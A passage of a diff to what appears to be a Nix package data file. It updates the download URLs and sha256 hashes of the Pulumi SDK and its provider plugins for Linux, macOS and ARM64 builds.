"15alxvj14xwbwrds9sc4pjycjrm4bivxjlby8ja34jqw0rzfafm0"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-equinix-metal-v3.2.1-linux-amd64.tar.gz"; sha256 = "0hnardid0kbzy65dmn7vz8ddy5hq78nf2871zz6srf2hfyiv7qa4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.1-linux-amd64.tar.gz"; - sha256 = "1l3pqshzxscv3pxp5wjyrc83irkhh6g7hbdi51x2jhdywjz5r55m"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.2-linux-amd64.tar.gz"; + sha256 = "0f4czs3hjibmwvswm2zgjq3nys2sp4lr7xy2rpm4k7msdcsxk5kb"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.2.1-linux-amd64.tar.gz"; - sha256 = "0llybkwlzzd8ylxcch4hns3xbba715iyf1mrfy9vnn60kfn2jprc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.11.2-linux-amd64.tar.gz"; + sha256 = "0hnhgiss847s7znii3fd3c0w1i7f582khrcvb4a422ws89nrf070"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v5.22.0-linux-amd64.tar.gz"; - sha256 = "0hnaanqg991xy4jmk09rcd5adzx760707133yaax0nx6r1g0lbdc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.0.0-linux-amd64.tar.gz"; + sha256 = "1093xzalzxx6dgsif9a97inll205rp298win637c70d4x68ab74w"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.6.0-linux-amd64.tar.gz"; - sha256 = "10cxlavxvb98207plgrvmf8c8sgp5w2hpnpcj493i033am07g7yc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.9.0-linux-amd64.tar.gz"; + sha256 = "1bl8idjznas3srl8hbw28ffv0pz6fzkg0vkllpgc0xnjggy52bba"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-google-native-v0.32.0-linux-amd64.tar.gz"; sha256 = "1zra1ck64gs4nwqf62ksfmpbx24lxw6vsgi47j4v8q051m89fgq3"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.16.2-linux-amd64.tar.gz"; - sha256 = "0f5sii66fffq5qrri8r1a3xzskvj9yx6chr7j2s34kgc11dqrbxc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.17.0-linux-amd64.tar.gz"; + sha256 = "0pz7jga19pwwx7ba5364b6sv1zsmxvnldakdh6641fqp9wl6smxp"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.5.5-linux-amd64.tar.gz"; - sha256 = "13nrdwka7pxyqjy5hjc3678sfayfs11hwqfj7r4apml8sws0g3xj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.8.1-linux-amd64.tar.gz"; + sha256 = "0fsif489vj0cnag7q1ap7hb2lhfrhihbpnjygghwlqdf9nrcr54i"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.9.0-linux-amd64.tar.gz"; - sha256 = "10a0kr20ai5qhhxsr5210ag5ijkzxjihm7afy2mzsslqv4zdc953"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-linux-amd64.tar.gz"; + sha256 = "10p4gsz6qj93fd0f9d1pvql501gpyrl684465b51xxrh29506nwk"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.0-linux-amd64.tar.gz"; - sha256 = "1r4cvln9c9i2xvj8r6bb6l2ccy6457vhdj9ra35yq5zckwf0dri0"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-linux-amd64.tar.gz"; + sha256 = "1k2pa1wbh49qkg99khdyzj1qfjld74ijzn4y94c27vjsm9wmn7ka"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.0-linux-amd64.tar.gz"; - sha256 = "0nl5xyj4jij500vm6na653s8savr2nm0hzx2qn1brgfpxx9j4pvj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.3-linux-amd64.tar.gz"; + sha256 = "010x3wa1c3cjccli0b1y25xd6jkvhdcxahfwda8jv31b5ilsv3zx"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.14.0-linux-amd64.tar.gz"; - sha256 = "1dx4riyz1p8dz3biqqxkg6zv6y0jzikc20lk3wj7q2ifxy7rigia"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.15.1-linux-amd64.tar.gz"; + sha256 = "135br9q8f1ic0xvrhx9yii5giq1h5qzlyb5kyvnyb3hwx49f1ik6"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.10.0-linux-amd64.tar.gz"; - sha256 = "1fmwrw4x88yw490m1csddk2pi6yr8avv3zwyimzsr0ax5k2fdwyr"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.11.0-linux-amd64.tar.gz"; + sha256 = "14blk6gfdxjr1l3gxfj3f1ljz66yi8z35lva3fy75fs5gy6z1wnb"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.14.0-linux-amd64.tar.gz"; - sha256 = "1v59k0m4rrad5vbd2x4znb985cbwj9py6ki60x1skq704pmcli5g"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.16.0-linux-amd64.tar.gz"; + sha256 = "1wvdncw149ch6hi3fw7fibk78j2clbxlwmf4hivai7zhh8ikg1nq"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.41.0-linux-amd64.tar.gz"; - sha256 = "10m3mqqi1gr5n7phsjyrdpy6vd9f3qri7vryj10p6fp7my9sgr3q"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.49.0-linux-amd64.tar.gz"; + sha256 = "1xajinvla6hw6n6n9iawfyq2pmd22k0xy1l88vh8bhp3310hjfns"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.60.0-linux-amd64.tar.gz"; - sha256 = "00mml1dpyjc683yrp7g7w49pvjyd5mdm6bls26q9rbirgblajcnf"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.68.0-linux-amd64.tar.gz"; + sha256 = "018ynwc7l2xvqq1n64ny3rlv37nzbx1b0c2j1jla7r35a4vjym8f"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.0-linux-amd64.tar.gz"; - sha256 = "0nssdk2zp42ssnkgq87mw4rk1lzlzgi3adr4l5g9ipmqjfphw3bx"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.2-linux-amd64.tar.gz"; + sha256 = "0jiny0s6hvzzcgv7zkdmc4d0rdcwpq49dz7fqsaz81maz7kck8a5"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.13.3-linux-amd64.tar.gz"; - sha256 = "148ifpnjh8jm4x9f9snlzfq1z7f2z0c630bhhx6a86ankaavyr00"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.15.0-linux-amd64.tar.gz"; + sha256 = "19z0adq7dy7cvfkbi8xl3wq1shm4rjswjslnfq5fflyky8pgjyy3"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v4.11.1-linux-amd64.tar.gz"; - sha256 = "0b6nd5gk0d2vg6z0ql87zjyvl880h390g767d9vggwzlwljxzhsm"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v5.0.1-linux-amd64.tar.gz"; + sha256 = "1d4qdrbqsn62116lg0j82andxdrcdrcambahxp3084b6icacx3l9"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.17.0-linux-amd64.tar.gz"; - sha256 = "0lyx8wjzjhh38lzfdh6d4qns40cj14nrjmrsdiwrfk6h60s0bh1c"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.20.0-linux-amd64.tar.gz"; + sha256 = "1nc72m6d0kixs0mih83f6bad2dwwmwz89r6w8dkhi0071bg28lgc"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.6.2-linux-amd64.tar.gz"; - sha256 = "044w1qwjadrz0ylr00qnwppvq6mc8c8z759b0wfn69a2r25az19f"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.7.0-linux-amd64.tar.gz"; + sha256 = "0w7cgafkz1r55bz8n51v2rqhmmxzrf7ma60awzlfd2apyihghxyp"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.0-linux-amd64.tar.gz"; - sha256 = "1dp9vldrs2b0ml542rn0jna0rbz2hxx7il86bliamj5fwr89k49w"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-linux-amd64.tar.gz"; + sha256 = "0jqbhqiws4v9ff5xakk5wnxghnnck4qaqvyxc2l246jsl9yy3z85"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.0.4-linux-amd64.tar.gz"; - sha256 = "0xn8vw19dp6hwm8w94p3lnmpy1zhdczxjphjy6m79pv1mszc153f"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.0-linux-amd64.tar.gz"; + sha256 = "1qi63mpv6dhmld6a8siikgjyhvyjzl9bcrc55hb93wbk028lncnh"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-yandex-v0.13.0-linux-amd64.tar.gz"; @@ -163,156 +163,156 @@ ]; x86_64-darwin = [ { - url = "https://get.pulumi.com/releases/sdk/pulumi-v3.95.0-darwin-x64.tar.gz"; - sha256 = "13lb757py7ls6p4l2x5s20xy5mp21a10y8cdnbfsr9l03kz50yhi"; + url = "https://get.pulumi.com/releases/sdk/pulumi-v3.108.1-darwin-x64.tar.gz"; + sha256 = "1993jk9wraxxds7phlpp2kwhn80k6hvf54nb5nj9883nsm5n4syz"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.7.2-darwin-amd64.tar.gz"; - sha256 = "1rvrln32jndp1yq05ybqim10m2wh2g9rwa5q5brxsrzn1gfa41jx"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-darwin-amd64.tar.gz"; + sha256 = "1jddh0c5h0br89vzdhb93rcxdilis79z1p303l886y8l5sdlbk9d"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.3.1-darwin-amd64.tar.gz"; - sha256 = "0i4kjngs8ly5cxikxc1jz2lcma31sx87vbdbny2j7xxz3fqsyi19"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.4.0-darwin-amd64.tar.gz"; + sha256 = "05x8allllb6spjkjf9lchk1pyprj356s0kgy2rdz24knvr2rxr3r"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.45.0-darwin-amd64.tar.gz"; - sha256 = "0ld394yzmhmagn2mb1ds7mg30v283f1q1xg67r1bs3wmf4zkxi8l"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.49.1-darwin-amd64.tar.gz"; + sha256 = "08ji9qkl1njci37a2hsvi5gj28x986a4xlkc7z9y2n0vzr9cy3rl"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v5.5.0-darwin-amd64.tar.gz"; - sha256 = "1ci55mz72y68wwcih0sx500n3pmrkq798janhc7nksyn8qdj14ik"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.1.4-darwin-amd64.tar.gz"; + sha256 = "0ir0pp8rc7mh5rwlcz6jn1s8icw7h09rlqmh0gpsg9blhsfqzdka"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.0-darwin-amd64.tar.gz"; - sha256 = "16yqva40xq8xfqjnxx7r9kx3r6nrxsqivqpm056hpnad6bjy5d7s"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.2-darwin-amd64.tar.gz"; + sha256 = "1wlw4lvdy63fw2vpv0cg3g5ffy1frr8dfbvnr1avashw1bvmh6yd"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.13.0-darwin-amd64.tar.gz"; - sha256 = "1abmbagldr2bv73qz39kpbpyjjwy3c8slikwvak9mmzxjpk2lvay"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.24.0-darwin-amd64.tar.gz"; + sha256 = "0zbappmx8za45nn0pn2vwab5z7zbx0yw2bfrlnpnmq6bflgv9mg2"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.46.0-darwin-amd64.tar.gz"; - sha256 = "0gr4is4k9hzjncg5qvy1n4j4hzvmn8f37f119bdgima1s6r9aiz4"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-darwin-amd64.tar.gz"; + sha256 = "1bjvbqdhd49ayxcv60rii4y3ngafjfzz0w9flra9wkh8hv8z1xxz"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.14.0-darwin-amd64.tar.gz"; - sha256 = "16zc13z31p92775v3vsn6j6pmz1wcjqb8rhzxpnr03zbqviws7mi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.0-darwin-amd64.tar.gz"; + sha256 = "11whky196lqgj8bgzxixd1m39jqw3fs9if8knmwcr7zmd3jyf80w"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.58.0-darwin-amd64.tar.gz"; - sha256 = "06nr217ymzfkr6l4fgwj9fjp724v08lyvxap7xw56mq9z0bf1vgk"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.67.1-darwin-amd64.tar.gz"; + sha256 = "05ll4cbmvc61jx15y37n79bslqkxc5879kjg4i86l3cldgmazjdi"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.16.0-darwin-amd64.tar.gz"; - sha256 = "1v3axsc678s7w0pkpc4b8l32rl2yb0jcdwba6i8v9jlawg4rv4z0"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.21.0-darwin-amd64.tar.gz"; + sha256 = "0jl9l1g8n4m4faciil33v9n0m8glmgjmax9dilrx8krzp00zjhbq"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.0-darwin-amd64.tar.gz"; - sha256 = "07iwdpvxqf3vkd1l1daazhs3agbbq067bcyp0vr2jqapz355yjad"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.1-darwin-amd64.tar.gz"; + sha256 = "1bvwgn823zwqs8wmzwsxc0zf0pdmk7ykh5qvnffwrixvhmdx68a0"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.23.0-darwin-amd64.tar.gz"; - sha256 = "1qyb6v3bxg7hsr5viwpc4nzdgq63frjqgxs7kqyg1pp40rcmh2bm"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.25.1-darwin-amd64.tar.gz"; + sha256 = "11971fwsv0i6nmmxzg9m93l48xndi9x96zibjbjmwjxnr419s5rm"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.24.0-darwin-amd64.tar.gz"; - sha256 = "0hm1jx48i6315xykn5fx3zw1m4cp5blizjmvcidrs5x1j1fwpcl4"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.25.2-darwin-amd64.tar.gz"; + sha256 = "1q0j504v5wvxxqyd5j2y7ak4ivpkyhwpqhv4lcscq241k64dc9fx"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.0-darwin-amd64.tar.gz"; - sha256 = "0arzbimf0rwn6j41ia6fl90xnkz7yyhc3lnnzr51sw4g8y3jihj9"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-darwin-amd64.tar.gz"; + sha256 = "11ljzm0alsrz0y9kihw0rd62hpi68ka0n6b8c52rg3sv672acnb7"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-equinix-metal-v3.2.1-darwin-amd64.tar.gz"; sha256 = "1m5lh59h7nck1flzxs9m4n0ag0klk3jmnpf7hc509vffxs89xnjq"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.1-darwin-amd64.tar.gz"; - sha256 = "0xdfxxlfxm44bkljc5c8h3ici7dlkbgbg6z2ns4870p15lhq34n5"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.2-darwin-amd64.tar.gz"; + sha256 = "03xk7hkcs0f8684ll7f7z7z14zwj66qnps0pcsd7r34s7qyhy33g"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.2.1-darwin-amd64.tar.gz"; - sha256 = "0974a34i4im82ccc4b25l6v3hdvi0hkh2xadhdn765g2bdcr7vh8"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.11.2-darwin-amd64.tar.gz"; + sha256 = "1s08pdqba2i81ijm4bm6qm4a1biy53hrxv964l9gv5gf45jm3md7"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v5.22.0-darwin-amd64.tar.gz"; - sha256 = "1547hc9jdg0j6n66sk5j7iid5m5pvkv8q9j09q9vkcrkj3kkjcvb"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.0.0-darwin-amd64.tar.gz"; + sha256 = "17c5qdpfzpxkmcd9wvkl7iba6g857fic7j8gbgdvrsrdjg0rvrsz"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.6.0-darwin-amd64.tar.gz"; - sha256 = "0a03z495j6yy3y5aqbd4515iwm601pzr6is7lq885vcripxvs4x7"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.9.0-darwin-amd64.tar.gz"; + sha256 = "028085idjq4023j91j4pwdvrn7nak5hw76sy22fahp59my6lj3d8"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-google-native-v0.32.0-darwin-amd64.tar.gz"; sha256 = "0ddd0pgpyywq291r9q8w6bn41r2px595017iihx4n2cnb1c4v6d5"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.16.2-darwin-amd64.tar.gz"; - sha256 = "19zm781g8ii062dp48wf11pdyrddk10c5rf18xk4bpf2prbg5vsi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.17.0-darwin-amd64.tar.gz"; + sha256 = "18w9x6ym08ljr71kl82qb017cxzfbpkhbvljb1ki8nrk32s7rljy"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.5.5-darwin-amd64.tar.gz"; - sha256 = "1ikshq05lkh39m5z7p72mv3cnd9ji16b09cb5g78zlrdzlgq2086"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.8.1-darwin-amd64.tar.gz"; + sha256 = "0r76x8339mdlmi7d4sxfnz3lisj5gsscdckv7ca8i5zs288yifhv"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.9.0-darwin-amd64.tar.gz"; - sha256 = "0h177vx31q53xpqrvfdajf4knwchhrz7l605s50v5isqbpgagl5m"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-darwin-amd64.tar.gz"; + sha256 = "1zn2wz1adypy2cr8wl60rsry7m923zyyl2kkf19j5326rbxhki37"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.0-darwin-amd64.tar.gz"; - sha256 = "1w8q091igjzwlqp9ck23jxh87r5cnsg83jwlxr6ynddlp7w2c6yp"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-darwin-amd64.tar.gz"; + sha256 = "063jm09bpshlc86svwacafjbc6iv09n81jx4hmcwwgcic6pwb1ic"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.0-darwin-amd64.tar.gz"; - sha256 = "0q54fvqlldzy11833nislmlrcrkz25wsyqvkph41qdm0yv39ycx7"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.3-darwin-amd64.tar.gz"; + sha256 = "1hrc3lrn7ry6p44f0d287z5nw754rwk0xlhr8zj5vx3xyx8jws34"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.14.0-darwin-amd64.tar.gz"; - sha256 = "04pgw5plavn4kvkapky26xx4pgdcf0c27il18g7hmfvnmagfcsiz"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.15.1-darwin-amd64.tar.gz"; + sha256 = "1wcripnsgxwlj7s6mv726kxrf689xlc7zxqmra5a1zdmfqskmq4k"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.10.0-darwin-amd64.tar.gz"; - sha256 = "0iabnnkywwylqggyn6c2kqj6j4jdy1ms3vwfyvwkr78909f8jzal"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.11.0-darwin-amd64.tar.gz"; + sha256 = "1lp9ga9yzz52dnpw3im32d5g8pai42wnj3c3r7acb48ndy2xw9g7"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.14.0-darwin-amd64.tar.gz"; - sha256 = "1jg3qdm331dvnq2igf6q0xd2ld21jnhm0h756pmxszngadfnmcdw"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.16.0-darwin-amd64.tar.gz"; + sha256 = "0xgcvika75bbyaabjxi1jzmv0w86i0nzixfc50x4crz0969qncz4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.41.0-darwin-amd64.tar.gz"; - sha256 = "144rydj53334sj11p55npmgss3kam2lxrm7shrcjvb1v28m8vdnx"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.49.0-darwin-amd64.tar.gz"; + sha256 = "061p37hwl0x9vh516lk54l4wf1yhfi8r57z94i4gsckv7dc7r8dd"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.60.0-darwin-amd64.tar.gz"; - sha256 = "0yxqhzx5rdy0a7g8q8c1s9w52h1clssnx70pp8900vdfsviwxqvf"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.68.0-darwin-amd64.tar.gz"; + sha256 = "1jy9ybxsplz7zapw56l0g11sfdzjf6xg1q7cj4js95fvisd2y0a4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.0-darwin-amd64.tar.gz"; - sha256 = "06cwx6642byqb953g8xa9a3s9jcp8cf6ib12agchkwmpfws5piz1"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.2-darwin-amd64.tar.gz"; + sha256 = "01f6c3zgmlmips4b5ysdp2vyflykq9bi1r1pbmqh05b6j35r90km"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.13.3-darwin-amd64.tar.gz"; - sha256 = "0mpwjrbayckaapvz8vs2x918ya5a3rk44f3cx1dri18wq82klln7"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.15.0-darwin-amd64.tar.gz"; + sha256 = "10skdrdb9dsd4pkamwihf73laaif90dkfl8ixi6irf30rqihc2nf"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v4.11.1-darwin-amd64.tar.gz"; - sha256 = "0aicxgwxs7mp9y88m8am0wl34h6llxj4jzww18alawkvxm1msah8"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v5.0.1-darwin-amd64.tar.gz"; + sha256 = "1lcpc72bwxgqkzy26j1pr6774x3kqsxpfcimls1m54wq8ranlii7"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.17.0-darwin-amd64.tar.gz"; - sha256 = "0pdwgfbvak564n3ic72jzj6nhy04lra1a4a6z5jmknk59d6jvhjw"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.20.0-darwin-amd64.tar.gz"; + sha256 = "1wgdn8zv3q4fn6730jfyb5x7rmb460plc4iddlsibnwnx0w5c3s5"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.6.2-darwin-amd64.tar.gz"; - sha256 = "19wmv952wn2njbd1ppl1lfzf1f47wf11m4qiiqc3wyd1qc33qsn1"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.7.0-darwin-amd64.tar.gz"; + sha256 = "1pvbcyw1l2b27hn48klc2fj3is2y3z1dj90ac4kkqi2ag4xj45vx"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.0-darwin-amd64.tar.gz"; - sha256 = "18kai9s283hip893867hc65pr0jpgydw0b2gwqdj2zi3mibbm08x"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-darwin-amd64.tar.gz"; + sha256 = "0ik8dmc9769dgpflvlzk51ibf8bmsn68dfzm4v6dz0bsaqnam6xd"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.0.4-darwin-amd64.tar.gz"; - sha256 = "104yaqp0s06zdw43kkh5k81yprdyc8r6l0sxcvqdv9rmr6q3j076"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.0-darwin-amd64.tar.gz"; + sha256 = "1x574bzzv5pp0va527k1554vah95038abm9y4d79wvzfyh9fgv65"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-yandex-v0.13.0-darwin-amd64.tar.gz"; @@ -321,156 +321,156 @@ ]; aarch64-linux = [ { - url = "https://get.pulumi.com/releases/sdk/pulumi-v3.95.0-linux-arm64.tar.gz"; - sha256 = "0sf96mbqlj4q6lf6xlx6bd4v12byg929m2vx4w7smqdd7w27gsja"; + url = "https://get.pulumi.com/releases/sdk/pulumi-v3.108.1-linux-arm64.tar.gz"; + sha256 = "0qf4lbldkc04jx13a4fdn6i2s1wfsa8x9c74fzplk75mwkv3fk1z"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.7.2-linux-arm64.tar.gz"; - sha256 = "13sng11gimfx237kdkqg41ly66x6ri64ls2wgw4g9jr8r68z3ii5"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-linux-arm64.tar.gz"; + sha256 = "0i6bp2i5h5yy3fwcq4rnjyl3mw4hj7wy5a99dxh0svqw0x30my4x"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.3.1-linux-arm64.tar.gz"; - sha256 = "0y1i2lwvy0wjvngpjf5rscidrlqb3mhhkhqvj227alz3c4xhf091"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.4.0-linux-arm64.tar.gz"; + sha256 = "0kb7hdciy8i91kmfndriav7sm05r1jkam7i634b5r6d7agdlvr2h"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.45.0-linux-arm64.tar.gz"; - sha256 = "0fas3734vf8ibx36ikgwjr5ky1sprxh7qn95jd43d13ii9a8ic9l"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.49.1-linux-arm64.tar.gz"; + sha256 = "0r69ar70k0zyglyxh9v2ilv5xiks9dqfqi0fvy8lc8zkgrcwfb19"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v5.5.0-linux-arm64.tar.gz"; - sha256 = "0ahp2aqlp9j7hr6c8rxzwrabyn1cfxqcncfax4sbj1prqw0jrac2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.1.4-linux-arm64.tar.gz"; + sha256 = "0s49id8kd357w7dh7a011l6ak5v8xd0b85p3jb48b8vaggfbs3p8"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.0-linux-arm64.tar.gz"; - sha256 = "0ivkm1cidvc6fz6k65z386qw0d7skh31i81yqccaql1i0n67mlsh"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.2-linux-arm64.tar.gz"; + sha256 = "14wplnr5axic2a9skx0y6rjq8si02qwpadpcl978vchll0f4g1pz"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.13.0-linux-arm64.tar.gz"; - sha256 = "0329lf1r9lga72x0crdwgx7m2xg14ydl6hb1c5jj76lkisqqzzyp"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.24.0-linux-arm64.tar.gz"; + sha256 = "15q20as4nmrcxf5dg4ahz3x4ffsnmzi6fcaiv9qn8ln30r5cvf98"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.46.0-linux-arm64.tar.gz"; - sha256 = "045mc5ifkbpwp74z6826nzi16a2p5h44szxfn8h4mn3zjq86yjsi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-linux-arm64.tar.gz"; + sha256 = "0pzbsz7c6q9x3xfpcc8yb6d14hk514yr03p3nfsvmp2nb7224r6s"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.14.0-linux-arm64.tar.gz"; - sha256 = "11gx8zlkakfbwf7vc4j29cd0bfakjf6flgp0a05d8ka5kjq3qkcx"; + url = 